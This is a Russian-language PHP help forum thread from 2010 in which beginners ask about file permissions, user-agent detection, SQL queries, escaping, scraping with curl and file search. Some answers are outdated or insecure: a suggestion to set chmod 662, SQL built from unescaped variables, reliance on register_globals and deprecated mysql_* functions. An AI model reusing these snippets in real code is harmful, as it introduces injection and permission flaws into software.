3004. Azzido, напиши плиз заново, как вычисляешь цифры, какие цифры за какой доступ отвечают и какие права мне установить...

2984. Vigo (08.04.10 / 11:58)
Народ помогите советом,надо строчку кода на пхп:если папка существует то..вот как это выглядит?

2985. Azzido (08.04.10 / 12:45)
3006, http://www.php.su/functions/?file-exists

2986. Azzido (08.04.10 / 12:50)
Системы Unix используют Chmod для распределения прав доступа к фалам, что способствует большей безопасности системы. С одной стороны это очень помогает, но с другой это большая головная боль для тех кто не знает как работает Chmod.
В системах Windows (Dos-WinME) можно устанавливать атрибуты "только для чтения", "архивный", "скрытый". А в Unix системах можно устанавливать права доступа для чтения, записи и выполнения(запуска) файла в папке.
Это и есть права доступа для: owner(владельца), the group(группы), и public(посетители, анонимные пользователи) Windows NT/XP имеет точно такие же функции при использовании NTFS.
Таблица распределения прав доступа выглядит так:
Owner | Group | Public
4: read | read | read
2: write | write | write
1: execute | execute | execute
Т.е. когда сы видим файл или папку которая имеет права доступа 666 это значит что этот файл доступен для записи для всех. Первая 6 это owner(владелец), вторая group(группы), третья public(посетители, анонимные пользователи). Чтение это число 4, запись 2, так что чтение+запись и дает нам 6(4+2).

2987. Azzido (08.04.10 / 12:53)
3005, установи права 662 не ошибешься

2988. Vigo (08.04.10 / 12:55)
3007. Azzido, спосибо,это то что нужно

2989. Azzido (08.04.10 / 13:00)
можно еще в .htaccess запретить чтение файла
<Files file.php>
order allow,deny
deny from all
</Files>

2990. RegioN (08.04.10 / 15:09)
3011. Azzido, спасибо огромное.

2991. Удаленный (10.04.10 / 00:41)
С чего начать писать, надо чтоб допустим мтс,билайн,мегофон, кидала на определеный сайт, а другие операторы на другой, и оперу и пк на другой сайт, как вычеслить по ипу. Дайте падсказку, и с чего начать.

2992. xass (10.04.10 / 00:49)
собери базу ип для начало
-----
в php ето
->
что делает?

2993. HitLow (10.04.10 / 01:30)
3013. workul, для начало и правда базу сделай=) я такой скрипт писал=) ).gif

2994. ramzes (10.04.10 / 01:33)
xass, это -> есть обращение к элементу обьекта класса))
методу или переменной.

2995. HitLow (10.04.10 / 01:34)
Похожий точнее=) Taurus помогал еще. Выше есть примерчик переделать и для твоих целей сойдет ).gif E.gif

2996. Taurus (10.04.10 / 02:04)
3017. Rezent, ну я в принципе для этого его и писал... ).gif могу на базу переделать, кому надо...

2997. Taurus (10.04.10 / 02:20)
3016. ramzes, шаришь... Сишник? С/С++ изучал?

2998. ramzes (10.04.10 / 02:45)
Не).gif куда мне)) в пхп просто тоже ооп есть).gif хоть и не так популярен

2999. Удаленный (10.04.10 / 11:02)
Ип адреса, есть, дальше как найти чтоб переброс был.

3000. mides (10.04.10 / 19:49)
Существует ли код для отображения года, который задан сервером (2010 сейчас должно быть)

3001. Удаленный (10.04.10 / 20:05)
mides (Сегодня / 19:49)
Существует ли код для отображения года, который задан сервером (2010 сейчас должно быть)

echo (date("Y"));

3002. mides (10.04.10 / 20:15)
3023. XaoS16, спасибо, не знал, что такой простой код)

3003. HitLow (10.04.10 / 21:08)
3021. workul, выше посмотри там все есть. Только заместо includ'a замение на header Location ну и т.п.

3004. freeuin (17.04.10 / 15:11)
как распознаватель моделей телефона поставить на сайте?

3005. Azzido (17.04.10 / 16:57)
3026, ну это на неправильно настроеном сервере. 660 и 600 доступно для записи скриптом.

3006. Azzido (17.04.10 / 17:01)
3027, сведения об user_agent содержатся в переменной $_SERVER['HTTP_USER_AGENT']

3007. Удаленный (18.04.10 / 15:48)
3027 тип так - $browser=explode(" ",@$_SERVER['HTTP_USER_AGENT']);
Если надо еще IP - $_SERVER['REMOTE_ADDR']
Думаю зачем - @ сам знаеш!

3008. Azzido (18.04.10 / 16:22)
3030, вот ты код видимо тупо откуда то переписал, зачем там функция explode?
echo strtok($_SERVER['HTTP_USER_AGENT'],' ');//выодит Nokia2600c-2/2.0 или Opera/9.80 и т.д. (обрежет до первого пробела)
$_SERVER['REMOTE_ADDR'] - это ip адрес клиента, например 90.150.64.218
а заглушка предупреждений методом подстановки символа @ тоже не нужна, достаточно выставить нужный уровень отладки

3009. HitLow (18.04.10 / 16:23)
3027. freeuin, ну примерно как то так=) ::
<?php
$agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($agent, "/")>0)
{
$agent = substr($agent,0,strpos($agent, "/"));
}
$agent=strtoupper($agent);
if (stristr($agent, "ERICSSON")) $name="Ericsson";
if (stristr($agent, "SONYERICSSON")) $name="SonyEricsson";
if (stristr($agent, "NOKIA")) $name="Nokia";
if (stristr($agent, "SAMSUNG") || stristr($agent, "SEC-"))
$name="Samsung";
if (stristr($agent, "SIE")) $name="Siemens";
if (stristr($agent,"MOT")) $name="Motorola";
if (stristr($agent, "LG ") || stristr($agent, "LG-")) $name="LG";
if (stristr($agent, "SHARP")) $name="Sharp";
if (stristr($agent, "ALCATEL")) $name="Alcatel";
if (stristr($agent, "PANASONIC")) $name="Panasonic";
if (stristr($agent, "SAGEM")) $name="Sagem";
if (stristr($agent, "PANTECH")) $name="Pantech";
if (stristr($agent, "NEC")) $name="NEC";
if (stristr($agent, "BENQ")) $name="BenQ";
echo $name;
?>


3010. Удаленный (18.04.10 / 16:55)
<?php 
echo "UA - ".$_SERVER['HTTP_USER_AGENT']."<br />";
?>


3011. Apollon76 (19.04.10 / 17:17)
У меня вопрос,я сейчас пишу скрипт чата,нужно,чтобы из массива выделялись символы,заменялись смайлами.

3012. Azzido (19.04.10 / 17:29)
$msg=str_replace('.smile.','<img src="smile/smile.jpg" alt="image"/>',$msg);

3013. ramzes (19.04.10 / 17:39)
<?php $message = strtr($message,array(':-D'=>'<img src="/smiles/xaxa.gif" alt="" />', ':-('=>'<img src="/smiles/sad.gif" alt="" />')); ?>


3014. Atuwap (20.04.10 / 01:05)
3032. Rezent, как написать код броузера если ето смарт то не написался Mozilla/5 а сам модел. Например Nokia/n95, nokia 6220, 5800 и.д

3015. Azzido (20.04.10 / 06:52)
3037, к неудобству смартфоны некоторые, например symbian 9 серии стандартный брузер начинается с Mozilla но в нем где то в середине содержится название модели, дай пример user agent тебе подскажут как правильно в этом случае дополнить код

3016. Atuwap (20.04.10 / 12:02)
Nokia5800d-1/21.0.025 - Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Nokia5800d-1/21.0.025; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413
NokiaE60/4.06.0 - Mozilla/5.0 (SymbianOS/9.1; U; [en]; Series60/3.0 NokiaE60/4.06.0) AppleWebKit/413 (KHTML, like Gecko) Safari/413
NokiaE75-1/110.48.125 - Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaE75-1/110.48.125 Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413
NokiaN97-1/12.0.024 - Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/12.0.024; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.12344
NokiaN90-1/1.00.0 - Mozilla/4.0 (compatible; MSIE 5.0;Series60/2.8 NokiaN90-1/1.00.0 Profile/MIDP-2.0 Configuration/CLDC-1.1)
NokiaN92/2.0 - Mozilla/ 4.0 (compatible;MSIE 5.0; Series60/3.0 NokiaN92/2.0 (x.y.z) Profile/MIDP-2.0 Configuration/CLDC-1.1)

3017. Atuwap (20.04.10 / 12:05)
Вопшем нужно найти нокиу Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaXxx/1.0; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413

3018. Atuwap (20.04.10 / 12:11)
лучше бы под мотор сделаяте.
//------------------ Функция определения реального браузера под мотор--------------------//

if (empty($_SESSION['user_brow'])){
if (isset($_SERVER['HTTP_X_OPERAMINI_PHONE_UA'])) {
$browsus = $_SERVER['HTTP_X_OPERAMINI_PHONE_UA'];
} elseif (isset($_SERVER['HTTP_USER_AGENT'])) {
$browsus = $_SERVER['HTTP_USER_AGENT'];
} else {
$browsus = 'Not_detected';
}
$browsus = preg_replace('|http://|i','', $browsus);
$browsus = strtok($browsus,'( ');
$_SESSION['user_brow'] = substr($browsus,0,22);
}
$brow = check($_SESSION['user_brow']);


3019. AVATAR (20.04.10 / 14:57)
$result2 = mysql_query("INSERT INTO `for_tem` ( `naz` , `for` ) VALUES ( '$t' , '$f' );");
$result3 = mysql_query("SELECT id FROM `for` ORDER BY id DESC LIMIT 1");
$tt = mysql_fetch_array($result3);
$ttt = $tt['id'];
$result = mysql_query("INSERT INTO `for_soob` ( `avtor` , `soob` , `date` , `for` , `t` ) VALUES ( '$avtor' , '$text' , '$date' , '$f' , '$ttt');");
где ошибка? почему в последнем запросе к базе в t добавляется число 5,а не взятое из предыдущего запроса?

3020. Aligan (20.04.10 / 15:46)
Покажи дамп таблицы for именно тот, из которого записывается значение в $ttt

3021. AVATAR (20.04.10 / 15:59)
3043. Aligan,
вот
-- Структура таблицы `for`
--
CREATE TABLE `for` (
`id` int(5) NOT NULL auto_increment,
`naz` varchar(255) NOT NULL,
`kat` int(2) default NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=6 ;
--
-- Дамп данных таблицы `for`
--
INSERT INTO `for` VALUES (1, 'Форум 1', 1);
INSERT INTO `for` VALUES (2, 'Форум 2', 1);
INSERT INTO `for` VALUES (3, 'Форум 3', 2);
INSERT INTO `for` VALUES (4, 'Форум 4', 2);
INSERT INTO `for` VALUES (5, 'Форум!', 1);

3022. Aligan (20.04.10 / 16:02)
3044, запрос $result3 = mysql_query("SELECT id FROM `for` ORDER BY id DESC LIMIT 1"); вернет последнюю запись из таблицы for.
В твоем дампе последняя запись имеет id = 5. Отсюда и выходит значение 5.

3023. AVATAR (20.04.10 / 16:17)
Aligan спасибо))

3024. xass (20.04.10 / 16:22)
не меньяется потому что в таблице есть толко 5 записей и последний с ид 5. не? D.gif

3025. BLANSH (25.04.10 / 16:04)
Привет всем. Помогите плис, если можете. А вот вопрос: как реализовать время онлайн юзера? Ну скока он всего провел на сайте? Мне код писать не надо. А так хоть намекните, какими функциями? Ну и т . д. Заранее спасибо.

3026. demeros (25.04.10 / 16:16)
Считываеш дату регистрации,отнимаеш от текущего времени и через mktime() возвращаеш время)

3027. Vigo (27.04.10 / 21:14)
Скажите,на денвере работает скрипт а на хосте нет,в чем проблема?права проверял,по фтп все перенес,непашет,чего?скажите хоть где искать?

3028. Azzido (27.04.10 / 21:30)
3050, что у тебя конкретно не работает, посетители форума любят гадать загадки и проверять свои экстрасенсорные способности, но все же дай подсказку

3029. Vigo (27.04.10 / 22:51)
Это распаковка архива,ошибку выдает,да еще я заметил форма выбора файла по другому выглядит.на денвере все пашет,те же файлы

3030. Azzido (28.04.10 / 07:08)
какую ошибку

3031. Vigo (28.04.10 / 09:33)
Неверный формат файла

3032. SKAZ0CHN1k (28.04.10 / 09:39)
Vigo (Сегодня / 09:33)
Неверный формат файла

мы э кстрасенсы, мы знаем чем ты пользовался и тд.
Если пишет так, то возможно или архив не полностью сделался (обычно обрубается через 30 сек скрипт, по умолчанию) или архив недоконца скопировал.
я уже предлагал пользоваться для переноса http://mail66.org/soft/backup.zip (2.5 кб)

3033. Vigo (28.04.10 / 09:59)
Переношу всегда командером,нисчем никогда проблем невозникало,выделил перетащил,те же архивы нармальна распаковует на локалке.хостинг может,и почему форма выбора файла подругому выглядит

3034. SKAZ0CHN1k (28.04.10 / 10:38)
ну блииииииииин, в чем именно ошибка, где пишет что формат файла неизвестен? ЗАЧЕМ ОН ЭТО ПИШЕТ? давай подробнее!

3035. Vigo (28.04.10 / 11:56)
Если бы знал,там условие либо удачно загружен-распакован либо ошибка,превышен размер,ошибка,неизвесный формат,и еще несколько видов ошибок.распаковать неможет,запаковка файлов пашет,буду пробовать другой хост

3036. jupsex (28.04.10 / 21:42)
Всем привет!
Скажите пожалуйста, как сделать, чтобы $_GET[a] $_GET[b] передавались в case "make" к примеру 1/2 ввиде переменной $nd ?

3037. blud (30.04.10 / 16:58)
$a = $_GET['a'];
switch($a){
case '1':
тут какойто твой текст или чтото еще
break;
case '2':
тут еще немного текста
break;
default:
тут тоже текст
break;
}
index.php?a=1
и так дале

3038. sadiev (30.04.10 / 18:40)
Люди, как сделать с помощью HTTP REFERER запись сайты откуда переходили на сайт- в один файл вида site.ru а в другой файл полную ссылку вида site.ru/file.php . Можете не писать саму запись, мне только надо создание переменной с рефером

3039. ramzes (30.04.10 / 22:23)
preg_match('|:\/\/([a-z0-9\-\.]+)|i',$_SERVER['HTTP_REFERER'], $ref);
echo $ref[1].' :: '.htmlspechialchars(urldecode($_SERVER['HTTP_REFERER']));
типа того

3040. xass (02.05.10 / 19:37)
как получить текст которий между "" пример
[text="blablabla"]

3041. ramzes (02.05.10 / 19:54)
preg_match('|\"(.*?)\"|s', $string, $match);
echo $match[1];

3042. SKIF (03.05.10 / 15:19)
Где можна скачать видео уроки по PHP ?

3043. blud (03.05.10 / 15:28)
тут уроки по пхп

3044. Удаленный (03.05.10 / 15:30)
SKIF (Сегодня / 15:19)
Где можна скачать видео уроки по PHP ?

видео уроки по PHP.
http://tabulorasa.info/40671-video-uroki-php-mysql-dlja-nachinajushhikh.html p.s link: регайся для скачивания.
Содержание диска:
1. Теоретический курс по PHP и MySQL
2. Создание простого PHP сайта
3. Создание многофункционального PHP блога
4. Дополнительные возможности PHP и MySQL
5. Установка популярных PHP скриптов


3045. SKIF (03.05.10 / 15:30)
3066. blud, Вообще то я написал ВИДЕО уроки

3046. ramzes (03.05.10 / 15:50)
Вообще то есть соответствующая тема для этого.

3047. BLANSH (03.05.10 / 20:58)
ребята, помогите пожалуйста. У меня не удаляютса файлы и не загружаютса. пишу так unlink("1.txt"); и сервер вроди правильно работает, да и все остальное работает, а вот файлы не загружаютса, и не удаляютса. Ставил разные двиги а там ни файлы не загружаютса, ни файлы не удаляютса. В чем может быть проблема? очень прошу помочь. заранее спасибо.

3048. Fantik (03.05.10 / 21:13)
Кто-нибудь может выложить актуальную рабочую функцию определения PR и вывода её через get запрос

3049. Astaker (05.05.10 / 20:41)
Привет всем, напишите как можно пройти авторизацию (не бэйсик) а простую как здесь для граба?

3050. ArchangeL (05.05.10 / 21:54)
Fantik (03.05.10 / 21:13)
Кто-нибудь может выложить актуальную рабочую функцию определения PR и вывода её через get запрос

вот,попробуй это,думаю поймешь как связать с gеt http://phpcodes.ru/code53.html

3051. BLANSH (05.05.10 / 22:55)
Ребята, помогите решить проблему: фаил загружаетса в папку где хранятса временные файлы.Загружаетса и сразу удаляетса(так и должно быть?) А проблема вот в чем: я не могу перетянуть его из той папки в папку сайта. Использую функцию copy($_FILES['file']['tmp_name'],"e:/site"); выдает ошибку шо типа не можит скопировать фаил, только на англе. Если копировать обычный фаил то все работает. Хелп ме плис

3052. Aligan (06.05.10 / 13:27)
так нужно во втором аргументе функции copy указывать и имя файла, тоесть например e:/site/filename.ext

3053. BLANSH (06.05.10 / 15:05)
3075. Aligan, то опечатка, я указываю. Обычный фаил копирует, а временный нет! почему?

3054. sadiev (06.05.10 / 18:01)
Добрый день. Почему то на хостинге перестали показываться значения PR сайтов. Скрипт не изменял. . . В чем может быть дело?

3055. Aligan (06.05.10 / 21:47)
3076, попробуй вместо copy использовать move_uploaded_file()

3056. Astaker (06.05.10 / 23:23)
3072 пост, расскажите

3057. Atuwap (07.05.10 / 21:37)
регался от яндекс веб мастер. как Разместить код поисковой формы Яндекс на своем сайте??? во только етот код div ошики дает .

echo"<div class="yandexform" onclick="return (type: 2, logo: 'rb', arrow: false, webopt: true, websearch: true, bg: '#FF0000', fg: '#000000', fontsize: 12, suggest: true, site_suggest: true, encoding: 'utf-8')">";


3058. sadiev (08.05.10 / 20:45)


3059. Astaker (09.05.10 / 10:45)
Здесь никто в грабах не шарит?

3060. Azzido (09.05.10 / 10:58)
З083, кто-нибудь да шарит

3061. Astaker (09.05.10 / 13:21)
Тогда помогите пост 3072

3062. z-kzn-z (09.05.10 / 14:04)
3085, с помощью curl-а или сокетом открываешь соединение к скрипту, который авторизовывает. передаешь ему все данные которые нужно, если все правильно, то (скорее всего) сервер выдаст тебе какой-то кукис, читаешь его, и при последующих соединениях ты должен пихать ему этот кукис в заголовках.
ну это в общем случае, я же не видел конкретно что у тебя.

3063. BLANSH (09.05.10 / 18:36)
Ребята, скиньте плис рабочий файл пхп.ини и файл настроек апача, шоб все работало. Это огромная просьба, буду благодарен. А то я до сех пор не смог сохранить загруженый файл, ни copy ни move_uploaded_file не помогает. пишет ошибку что не может сохранить или переместить файл (.gif может в настройках проблема?

3064. z-kzn-z (10.05.10 / 02:41)
вот мой (с Gentoo)
http://dl.dropbox.com/u/6406223/php.ini

3065. ramzes (11.05.10 / 16:42)
Вроде где то уже говорили, но что то не нашел.
Подскажите как задать куки так что бы они распространялись на site.ru и www.site.ru?

3066. Astaker (12.05.10 / 06:42)
Будет ли защита от SQL injection если написать так:
mysql_escape_string(stripslashes(htmlspecialchars($go)))
будет ли защита?

3067. Azzido (12.05.10 / 07:16)
зачем там функция stripslashes? mysql_escape_string надо заменить на mysql_real_escape_string

3068. Fuelen (12.05.10 / 08:06)
3089. ramzes, читай мануал. Там пишет http://ua.php.net/manual/en/function.setcookie.php

3069. ramzes (12.05.10 / 11:17)
Там с телефона не очень сподручно.. Но все равно спасибо, вроде понял

3070. Astaker (12.05.10 / 12:17)
Да если поставить mysql_real_escape_string то при записи в базу будет еще записано это \ после ', ", \ и т.д.
Пример:
$go = "b'la";
после записи в базу:
$go = "b\'la";
а мне этой косой черты не надо! Так будет ли защита если написать как на 3090 посту?

3071. Azzido (12.05.10 / 12:50)
будет, но mysql_real_escape_string специально добавляет обратные слэши чтоб экранировать спецсимволы, у тебя включена опция magic_quotes отключи ее и все и не применяй лишние функции

3072. Azzido (12.05.10 / 12:53)
http://php.su/functions/?f=mysql_real_escape_string&choice=info
http://php.su/functions/?f=stripslashes&choice=info
http://php.su/functions/?f=htmlspecialchars&choice=info

3073. Azzido (12.05.10 / 12:53)
magic_quotes_gpc boolean
Установка magic_quotes для GPC (Get/Post/Cookie) операций. Когда magic_quotes включены (on), все ' (одиночные кавычки), " (двойные кавычки), \ (слэши) и ПУСТОТЫ экранируются с бэкслэшами автоматически.
Примечания: Если директива magic_quotes_sybase также включена (ON) это полностью отменит magic_quotes_gpc. Предоставление обеих директив означает только одиночные ккавычки (') кавычки, экранируемые как ". Двойные кавычки, наклонные черты влево и ПУСТОТЫ останутся нетронутыми.
Смотрите также функцию get_magic_quotes_gpc()
magic_quotes_runtime boolean
Если magic_quotes_runtime включена, большинство функций, которые возвращают данные из любого внешнего источника, включая базы данных и текстовые файлы, будет иметь кавычки, которые выводятся с наклонной чертой влево. Если magic_quotes_sybase также включены, а одиночные кавычки экранируются с одиночными кавычками вместо наклонной черты влево

3074. Azzido (12.05.10 / 12:54)
а это директивы настройки сервера в .htaccess

3075. Astaker (12.05.10 / 13:23)
Вроде это надо написать:
magic_quotes_gpc 0
magic_quotes_runtime0
magic_quotes_sybase 0
в хтачесс это все да?

3076. Astaker (12.05.10 / 23:43)
Ну а как?

3077. Azzido (12.05.10 / 23:52)
Зачем грузить скрипт лишними условиями,проверяя магические кавычки,в скором времени этой настройки вообще не будет

3078. Astaker (13.05.10 / 06:37)
В общем можете написать что надо написать чтобы слэш не вставлялся но и защита не исчезала?

3079. Azzido (13.05.10 / 06:52)
3103. babuinakbar, что тут колдовать то? .htaccess скопировать и все.

3080. Fuelen (13.05.10 / 07:48)
babuinakbar (Вчера / 23:02)
Что-то уже долго тянут с выходом 6 версии шаблонизатора, а вдруг будет как с перлом

А при чём шаблонизатор? О_о

3081. Astaker (13.05.10 / 13:35)
Ребята напишите просто что мне надо написать?

3082. Azzido (13.05.10 / 13:38)
на нормальном хостинге настройки такие
magic_quotes_gpc Off Off
magic_quotes_runtime Off Off
magic_quotes_sybase Off Off

3083. Azzido (13.05.10 / 13:41)
тебе нужно в .htaccess написать
php_value magic_quotes_gpc 0
php_value magic_quotes_runtime 0
php_value magic_quotes_sybase 0
и для фильтрования использовать
$var=mysql_real_escape_string(htmlspecialchars($var,ENT_QUOTES,'utf-8'));

3084. myz-tv (14.05.10 / 14:03)
babuinakbar (Сегодня / 12:10)
PHP - шаблонизатор

[wiki] Шаблонизатор (в web) - это программное обеспечение позволяющее использовать html-шаблоны для генерации конечных html-страниц.
Тогда Smarty давайте языком звать)

3085. Aligan (14.05.10 / 21:12)
По своей сути смарти можно называть псевдо языком, как и php. Smarty предполагает язык программирования но новом абстаркном уровне близкому к html по стилю

3086. ramzes (14.05.10 / 21:21)
Ага, псевдоязык внутри псевдоязыка? %)

3087. Jeka127 (16.05.10 / 09:40)
Есть ли функция которая получает конечный адрес(url)
К примеру есть адрес http://omobe.ru/pic/load.php?id=27948
При переходе на который происходит переадресация на конечный файл. как получить из этой ссылки этот конечный файл?
http://omobe.ru/pic/files/!XXX_Foto/Gallereya-01/009.jpg

3088. Azzido (16.05.10 / 11:16)
ну тут сокетом надо или curl соединяться

3089. Atuwap (16.05.10 / 16:42)
как врезать стил на граббе?
<style type="text/css">
бла бла бла бла
бла бла бла бла
бла бла бла бла
бла бла бла бла
</style>

3090. lugaro (16.05.10 / 17:12)
3116. Палестинеч, $var //переменная с телом документа
$vat = preg_replace('|<style type="text/css">(.*?)</style>|si', '', $var);

3091. ramzes (16.05.10 / 17:44)
$vat = preg_replace('|<style type=\"text\/css\">(.*?)<\/style>|si', '', $var);

3092. Atuwap (16.05.10 / 17:53)
3117. .::lugaro::., не получилос ((

3093. Atuwap (16.05.10 / 17:54)
3118 все ок спосибо братуха

3094. Atuwap (16.05.10 / 17:57)
Гыыыыы а я там раскапал 2 час str_replace стил , str_replace вес код стила)))

3095. ArchangeL (16.05.10 / 20:52)
Ребят,как воспользоваться этим поиском:
<?php
$dir = opendir('load');
while( $file = readdir($dir) ){
if(stripos($file,$query)){
$result[] = $file;
}}
closedir($dir);
print_r($result);

или этим
<?php
$iterator = new RegexIterator(new RecursiveIteratorIterator(new RecursiveDirectoryIterator('folder')), '#\.(zip|[7g]z|[rt]ar)$#i', RecursiveRegexIterator::GET_MATCH);
foreach($iterator as $k => $v){
echo $k.'<br/>';
}
?>

как их связать с формой??? В данном типе,оба кода выдают ошибки,помогите разобраться пжл

3096. Azzido (16.05.10 / 22:52)
первая функция ищет $query в названиях папок и файлов и если есть совпадение то заносит в массив

3097. ramzes (16.05.10 / 23:05)
Первая это моя если не ошибаюсь..
<?php
if(isset($_GET['query']) AND preg_match('|^[a-z0-9\-_]+$|i', trim($_GET['query']))){
$query = trim($_GET['query']);
// тут тот первый кусок кода
}else{
?>
<form action="?" method="get">
<input type="text" name="query" /><br />
<input type="submit" value="искать" />
</form>

вот так примерно

3098. ArchangeL (17.05.10 / 00:24)
3124. ramzes,да,это ты писал,спасибо,плюс поставил!

3099. ArchangeL (17.05.10 / 00:58)
Вот только какой принцип работы? Не очень понял,щас работает,но вводишь какое либо имя,не выводит ничего! Хотя такие файлы есть,а можно как-нибудь сделать,чтоб вводить имя файла на русском? Мне для библиотеки,можно ли сделать чтоб при вводе названия текста,его искало?

3100. ramzes (17.05.10 / 01:54)
В регулярку добавь а-я и будут русские. Не выводит значит нет совпадений. Попробуй искать скажем gif или другой формат файла который лежит в этой папке

3101. ArchangeL (17.05.10 / 08:18)
Да нет,там все есть,мне для txt файлов,надо чтоб например,по первой строчке искало,например Свобода,и выдает этот текст,если можно так

3102. Vantuz (17.05.10 / 13:51)
сперва пройдись по каталогу и собери все файлы в список к примеру через glob (*.txt)
потом в цикле отурывай файлы, можно воспользоваться file_get_contents если нужно искать во всем файле или file()[0] если в первой строке
ну и и скать наверно проще через strstr

3103. ArchangeL (17.05.10 / 14:40)
А можно подробнее? Как это организовать пользуясь кодом выше?

3104. Vantuz (17.05.10 / 14:53)
щас постараюсь описать

3105. ArchangeL (17.05.10 / 15:00)
Ок,спасибо,жду,по возможности,пожалуйста код напиши,благодарен за ранее

3106. Vantuz (17.05.10 / 15:03)
сперва обходишь нужный тебе каталог
$globfiles = glob("путь/*.txt");
в переменной globfiles теперь весь список файлов txt
в цикле открываешь первую строку в файлах
$arrsearch = array();
foreach ($globfiles as $val){
$file = file($val);
if (strstr($file[0],'ключевое слово')){
заносишь если есть совпадение в массив
можншь писать всю строку или имя файла как тебе удобно
$arrsearch[] = basename($val);
}
ну вот у тебя в переменной будет список всех файлов в которых есть совпадение
как дальше выводить через постраничную навигацию пусть подскажут другие, там дел еще много
И вообще организовать поиск на сайте довольно сложное дело

3107. ramzes (17.05.10 / 15:12)
А strpos не легче strstr? Поиск по файлам вообще извращение.. С тела например поиск юзера на висах не пашет.

3108. Vantuz (17.05.10 / 16:17)
легче, но если он будет в массив добавлять не имя файла а найденное слово и строку тогда strstr

3109. ArchangeL (17.05.10 / 16:29)
3133. Vantuz, спасибо,я попробую всевозможными способами,вот тогда последний вопрос?это перед кодом что я давал или после? С навигацией то не трудно,файл навигации у меня есть,прописать осталось

3110. Vantuz (17.05.10 / 17:21)
это вместо того кода

3111. ArchangeL (17.05.10 / 22:17)
Блин,вроде все правильно,почему не работает? Посмотрите
<?php
include 'Navigator.classRW.php';
if(isset($_GET['query']))
$log=htmlspecialchars($_GET['query']);
echo '<div class="main"><div class="a">Найдено</div>';
$globfiles = glob("txt/*.txt");
$str = 10; //Файлов на страницу
$n = new Navigator($count, 10, 1, 'search.php?', 1);
$arrsearch = array();
foreach ($globfiles as $val){
$file = file($val);
if (strstr($file[0],'$query')){
$arrsearch[] = basename($val);
}
}
echo $n->navi();
else {
echo '<div class="main"><div class="a">Поиск</div>';
echo '<form action="search.php" method="POST"><br><font color="red">*</font> Название:<br><input type="text" name="query" maxlenght="50" size="110"><input type="submit" value="Искать"></form><br>'; }
echo '<a href="/">На главную</a><br>';
?>
поправьте если что не так

3112. ramzes (17.05.10 / 23:25)
Так ты содержимое то массива не вывел на страницу).gif

3113. Diablo (17.05.10 / 23:28)
Сталинулся с такой ситуацией нужно запросить одну таблицу а отсортировать по времени из другой. Вот к примеру $req = mysql_query("SELECT * FROM `frend` WHERE `id` = '$datauser[id]' ORDER BY `время из другой таблици` DESC"); хэлп

3114. ArchangeL (17.05.10 / 23:34)
ramzes (Сегодня / 23:25)
Так ты содержимое то массива не вывел на страницу).gif

Исправь ПОЖАЛУЙСТА,если можешь,я уже все перепробовал,не знаю,что еще(.gif исправь,если не затруднит

3115. Vantuz (17.05.10 / 23:41)
3140. Diablo, ты наверно что-то путаешь ORDER BY `тут имя поля` ASC ты туда произвольное время никак не засунешь

3116. Vantuz (17.05.10 / 23:43)
3141. InFeRoruM AngeluS, понимаешь тут тема вопрос-ответ по php. а ты предлагаешь нам написать целый скрипт, ну если делать нормально то минимум час это займет, я думаю тут никто не захочет терять на это время

3117. ArchangeL (17.05.10 / 23:45)
Да нет,мне не нужно.чтоб был мега-поиск,мне просто нужно,чтоб в одной папке,по названию искал,и все,у меня простая библиотека,проект маленький! Так что обширный поиск ни к чему!

3118. Studentsov (17.05.10 / 23:53)
#3143 Час? Сурово

3119. Diablo (18.05.10 / 06:44)
Vantuz (Вчера / 23:41)
3140. Diablo, ты наверно что-то путаешь ORDER BY `тут имя поля` ASC ты туда произвольное время никак не засунешь

Вообщем мне нужно взять из первой таблици юзеров и отсортировать их по времени последнего обновления страници из таблици с профилем. Ладно, наверно это фантастика ))) сделаю по другому

3120. stv3 (18.05.10 / 06:58)
Народ подскажите где ошибка в этом коде это с движка waper.ru я мод установил а при создании сообщества или сайта 3 уровня пишет conection close
$HOST_LOCAL~Baza¶{else,'()';\x/y=Ξ\colekcshion%¶}¶
а то я в таких переменных дуб дубом

3121. Azzido (18.05.10 / 07:08)
3146, почему, можно это с помощью JOIN сделать

3122. stv3 (18.05.10 / 07:31)
Есть кто ответит

3123. smartvbxos7 (18.05.10 / 09:48)
Diablo, ORDER BY `столбец` DESC

3124. Diablo (18.05.10 / 12:27)
Azzido (Сегодня / 07:08)
3146, почему, можно это с помощью JOIN сделать

По подробнее можно? ).gif

3125. DmitryDick (18.05.10 / 12:46)
так попробуй:
select `users`.*, `table2`.`update`
from `users`
join `table2` on `table2`.`user_id`=`users`.`id`
order by `table2`.`update`

3126. xass (18.05.10 / 23:14)
вывожу текст в текстареа из бд. текст выводится с тегамы <бр /> как их пофменить на новую строку?

3127. ramzes (19.05.10 / 02:39)
$var = str_replace('<br />', "\r\n", $var);

3128. Nikson (19.05.10 / 07:50)
Думаю только \n достаточно

3129. Azzido (19.05.10 / 07:54)
3155, недостаточно

3130. ramzes (19.05.10 / 15:22)
Зависит от арбуза. Моему и "\r" хватает).gif

3131. ArchangeL (22.05.10 / 11:44)
Всем привет=) в связи с тем,что думаю,многие хотели бы написать поиск для своего сайта,но не у всех это выходит,так же как и у меня,я и тут спрашивал и просил других,но не то,и все же вот,пораскинул мозгами,взял кусок и модифицирова простой поиск,сделав его рабочим!
1.Создаем любой файл с расширением .dаt,пусть это будет sеаrсh.dаt
2.затем создаем новую страницу и пишем в ней такой код:
<?php
$searchfile="search.dat";
//задаем переменную для поискового файла
if ($seenform != 'y')
echo '<div class="a">Поиск</div>';
echo '<form name="formsearch" action="search.php"><input type="hidden" name="seenform" value="y"><font color="red">*</font> Название:<br><input type="text" name="query" maxlenght="50" size="100"><br><input type="submit" name="submit" value="Искать"></form><br>';
//форма поиска
if ($seenform == 'y')
{
$fp = fopen ($searchfile, "r"); // открываем поисковой файл
while (!feof($fp))
{
$read = fgets($fp, 1000);
